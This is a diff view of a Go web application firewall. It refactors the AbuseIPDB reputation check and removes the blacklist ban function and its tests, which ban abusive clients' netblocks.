|
||||||
hitNoter reputationHitNoter
|
|
||||||
}
|
|
||||||
|
|
||||||
func (abuseIPDB) name() string { return "abuseipdb" }
|
func (abuseIPDB) name() string { return "abuseipdb" }
|
||||||
|
|
||||||
func (a abuseIPDB) check(
|
func (abuseIPDB) check(
|
||||||
ctx context.Context,
|
ctx context.Context,
|
||||||
rq *request,
|
rq *request,
|
||||||
_ time.Time,
|
_ time.Time,
|
||||||
) *verdict {
|
) *verdict {
|
||||||
if !a.keySet {
|
if rq.h.config.AbuseIPDBKey == "" {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
client := clientGroup(a.ipv6GroupPrefix, rq.client)
|
client := rq.h.clientGroup(rq.client)
|
||||||
held, _ := a.limiter.Client(client)
|
held, _ := rq.h.limiter.Client(client)
|
||||||
offender := held.History.Offences != ratelimit.Offences{}
|
offender := held.History.Offences != ratelimit.Offences{}
|
||||||
|
|
||||||
score, hit := a.abuseIPDB.Hit(ctx, client, rq.client, offender)
|
score, hit := rq.h.abuseIPDB.Hit(ctx, client, rq.client, offender)
|
||||||
if !hit {
|
if !hit {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
rq.abuseIPDBHit = true
|
rq.abuseIPDBHit = true
|
||||||
rq.addTag(config.AbuseIPDBTag)
|
rq.addTag(config.AbuseIPDBTag)
|
||||||
a.hitNoter.noteHit(
|
rq.noteHit(
|
||||||
rq,
|
|
||||||
bans.ReputationHit{
|
bans.ReputationHit{
|
||||||
Source: reputation.AbuseIPDBSource,
|
Source: reputation.AbuseIPDBSource,
|
||||||
Score: &score,
|
Score: &score,
|
||||||
@@ -65,14 +54,14 @@ func (a abuseIPDB) check(
|
|||||||
"scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE",
|
"scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE",
|
||||||
)
|
)
|
||||||
|
|
||||||
if a.action != config.ReputationActionDeny {
|
if rq.h.config.ReputationAction != deny {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
return &verdict{
|
return &verdict{
|
||||||
action: requestlog.ActionClientDenied,
|
action: requestlog.ActionClientDenied,
|
||||||
figures: map[string]any{
|
figures: map[string]any{
|
||||||
figureScore: score, "min_score": a.minScore,
|
figureScore: score, "min_score": rq.h.config.AbuseIPDBMinScore,
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,48 +0,0 @@
|
|||||||
package waf
|
|
||||||
|
|
||||||
// The bans for AbuseIPDB's blacklist. They read SWW_WAF_ABUSEIPDB_BAN_DAYS and
|
|
||||||
// SWW_WAF_MODE; the blacklist is fetched by the reputation package.
|
|
||||||
|
|
||||||
import (
|
|
||||||
"log/slog"
|
|
||||||
"net/netip"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
|
||||||
)
|
|
||||||
|
|
||||||
// BanAbuseIPDBBlacklist bans in ledger the netblock of each client on
|
|
||||||
// AbuseIPDB's blacklist, listed, for SWW_WAF_ABUSEIPDB_BAN_DAYS from now, as
|
|
||||||
// the ledger's BanForAbuseIPDB describes. It logs to processLog how many
|
|
||||||
// clients were listed and how many bans were made. Clients in one netblock
|
|
||||||
// make one ban, with the highest of their scores. In observe mode it makes
|
|
||||||
// no ban.
|
|
||||||
func BanAbuseIPDBBlacklist(
|
|
||||||
cfg *config.WAF, ledger *bans.Ledger, processLog *slog.Logger,
|
|
||||||
now time.Time, listed []reputation.BlacklistEntry,
|
|
||||||
) {
|
|
||||||
scores := make(map[netip.Prefix]int64, len(listed))
|
|
||||||
|
|
||||||
for _, client := range listed {
|
|
||||||
netblock := banNetblock(
|
|
||||||
cfg.BanScopeV4Prefix, cfg.IPv6GroupPrefix, client.Addr,
|
|
||||||
)
|
|
||||||
scores[netblock] = max(scores[netblock], client.Score)
|
|
||||||
}
|
|
||||||
|
|
||||||
made := 0
|
|
||||||
|
|
||||||
if !cfg.Observe {
|
|
||||||
made = ledger.BanForAbuseIPDB(
|
|
||||||
now, now.Add(cfg.AbuseIPDBBanDuration), scores,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
processLog.Info(
|
|
||||||
"fetched AbuseIPDB's blacklist",
|
|
||||||
"clients", len(listed),
|
|
||||||
"bans_made", made,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
@@ -1,100 +0,0 @@
|
|||||||
package waf_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"context"
|
|
||||||
"net/http"
|
|
||||||
"net/netip"
|
|
||||||
"testing"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
|
||||||
)
|
|
||||||
|
|
||||||
// abuseIPDBBanDays is the setting of how long a ban for AbuseIPDB's
|
|
||||||
// blacklist lasts, in days.
|
|
||||||
const abuseIPDBBanDays = "SWW_WAF_ABUSEIPDB_BAN_DAYS"
|
|
||||||
|
|
||||||
func TestClientOnTheFetchedAbuseIPDBBlacklistIsRefused(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, clk, server := startWithClock(t, "", map[string]string{
|
|
||||||
abuseIPDBKey: accountKey,
|
|
||||||
})
|
|
||||||
|
|
||||||
ctx, cancel := context.WithCancel(t.Context())
|
|
||||||
stopped := make(chan struct{})
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
server.AbuseIPDB.RunBlacklist(ctx)
|
|
||||||
close(stopped)
|
|
||||||
}()
|
|
||||||
|
|
||||||
t.Cleanup(func() {
|
|
||||||
cancel()
|
|
||||||
<-stopped
|
|
||||||
})
|
|
||||||
|
|
||||||
waitUntil(func() bool {
|
|
||||||
active, _ := server.Ledger.Count(clk.Now())
|
|
||||||
|
|
||||||
return active == 1
|
|
||||||
})
|
|
||||||
|
|
||||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
|
||||||
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestClientsOnTheAbuseIPDBBlacklistAreBannedForTheBanDays(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, clk, server := startWithClock(t, "", map[string]string{
|
|
||||||
abuseIPDBBanDays: "2", banScopeV4Prefix: "24",
|
|
||||||
})
|
|
||||||
|
|
||||||
// Two clients in one netblock make one ban, with the higher score.
|
|
||||||
server.BanAbuseIPDBBlacklist([]reputation.BlacklistEntry{
|
|
||||||
{Addr: netip.MustParseAddr(client), Score: 95},
|
|
||||||
{Addr: netip.MustParseAddr(otherClient), Score: 100},
|
|
||||||
{Addr: netip.MustParseAddr("2001:db8:5::1"), Score: 90},
|
|
||||||
})
|
|
||||||
|
|
||||||
held := server.Ledger.Bans(netip.MustParsePrefix(clientsNet))
|
|
||||||
if len(held) != 1 || held[0].Cause != bans.CauseAbuseIPDB ||
|
|
||||||
*held[0].Notes.Reputation[0].Score != 100 {
|
|
||||||
t.Errorf("bans on %s %+v, want one for the blacklist, with 100",
|
|
||||||
clientsNet, held)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Every client of a banned netblock is refused, the IPv6 address's /64
|
|
||||||
// included.
|
|
||||||
for _, from := range []string{"203.0.113.200", "2001:db8:5::ffff:1"} {
|
|
||||||
s.get(from, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
|
||||||
}
|
|
||||||
|
|
||||||
s.get("2001:db8:5:1::1", http.StatusOK, requestlog.ActionForward)
|
|
||||||
|
|
||||||
clk.advance(2 * 24 * time.Hour)
|
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAbuseIPDBBlacklistMakesNoBanInObserveMode(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, clk, server := startWithClock(
|
|
||||||
t,
|
|
||||||
"",
|
|
||||||
map[string]string{mode: "observe"},
|
|
||||||
)
|
|
||||||
|
|
||||||
server.BanAbuseIPDBBlacklist([]reputation.BlacklistEntry{
|
|
||||||
{Addr: netip.MustParseAddr(client), Score: 100},
|
|
||||||
})
|
|
||||||
|
|
||||||
if active, _ := server.Ledger.Count(clk.Now()); active != 0 {
|
|
||||||
t.Errorf("%d bans active, want none", active)
|
|
||||||
}
|
|
||||||
|
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
|
||||||
}
|
|
||||||
+5
-11
@@ -139,7 +139,7 @@ func (rq *request) addBan() {
|
|||||||
)
|
)
|
||||||
|
|
||||||
if err == nil {
|
if err == nil {
|
||||||
netblock, err = rq.h.parseBanNetblock(toAdd.Netblock)
|
netblock, err = rq.h.banNetblock(toAdd.Netblock)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err == nil {
|
if err == nil {
|
||||||
@@ -190,12 +190,12 @@ func (rq *request) readBanToAdd() (banToAdd, error) {
|
|||||||
return toAdd, nil
|
return toAdd, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseBanNetblock reads value, a netblock such as 203.0.113.0/24, or a
|
// banNetblock reads value, a netblock such as 203.0.113.0/24, or a
|
||||||
// client's address, which stands for the netblock a ban on that client
|
// client's address, which stands for the netblock a ban on that client
|
||||||
// covers. An IPv4-mapped netblock, such as ::ffff:203.0.113.0/120, is
|
// covers. An IPv4-mapped netblock, such as ::ffff:203.0.113.0/120, is
|
||||||
// refused, since a client's address is looked up as IPv4 and a ban on it
|
// refused, since a client's address is looked up as IPv4 and a ban on it
|
||||||
// would refuse nothing, and so is a value with a zone.
|
// would refuse nothing, and so is a value with a zone.
|
||||||
func (h *handler) parseBanNetblock(value string) (netip.Prefix, error) {
|
func (h *handler) banNetblock(value string) (netip.Prefix, error) {
|
||||||
netblock, err := netip.ParsePrefix(value)
|
netblock, err := netip.ParsePrefix(value)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
if netblock.Addr().Is4In6() {
|
if netblock.Addr().Is4In6() {
|
||||||
@@ -224,11 +224,7 @@ func (h *handler) parseBanNetblock(value string) (netip.Prefix, error) {
|
|||||||
return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errZone)
|
return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errZone)
|
||||||
}
|
}
|
||||||
|
|
||||||
return banNetblock(
|
return h.netblock(addr), nil
|
||||||
h.config.BanScopeV4Prefix,
|
|
||||||
h.config.IPv6GroupPrefix,
|
|
||||||
addr,
|
|
||||||
), nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// expiry returns when a ban made at now for duration ends: duration
|
// expiry returns when a ban made at now for duration ends: duration
|
||||||
@@ -299,9 +295,7 @@ func (rq *request) showClient() {
|
|||||||
Bans: state.BanEntries(rq.h.ledger.Covering(addr)),
|
Bans: state.BanEntries(rq.h.ledger.Covering(addr)),
|
||||||
}
|
}
|
||||||
|
|
||||||
client, seen := rq.h.limiter.Client(
|
client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
|
||||||
clientGroup(rq.h.config.IPv6GroupPrefix, addr),
|
|
||||||
)
|
|
||||||
if seen {
|
if seen {
|
||||||
answer.Client = &client
|
answer.Client = &client
|
||||||
}
|
}
|
||||||
|
|||||||
Loaded 100 of 158 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user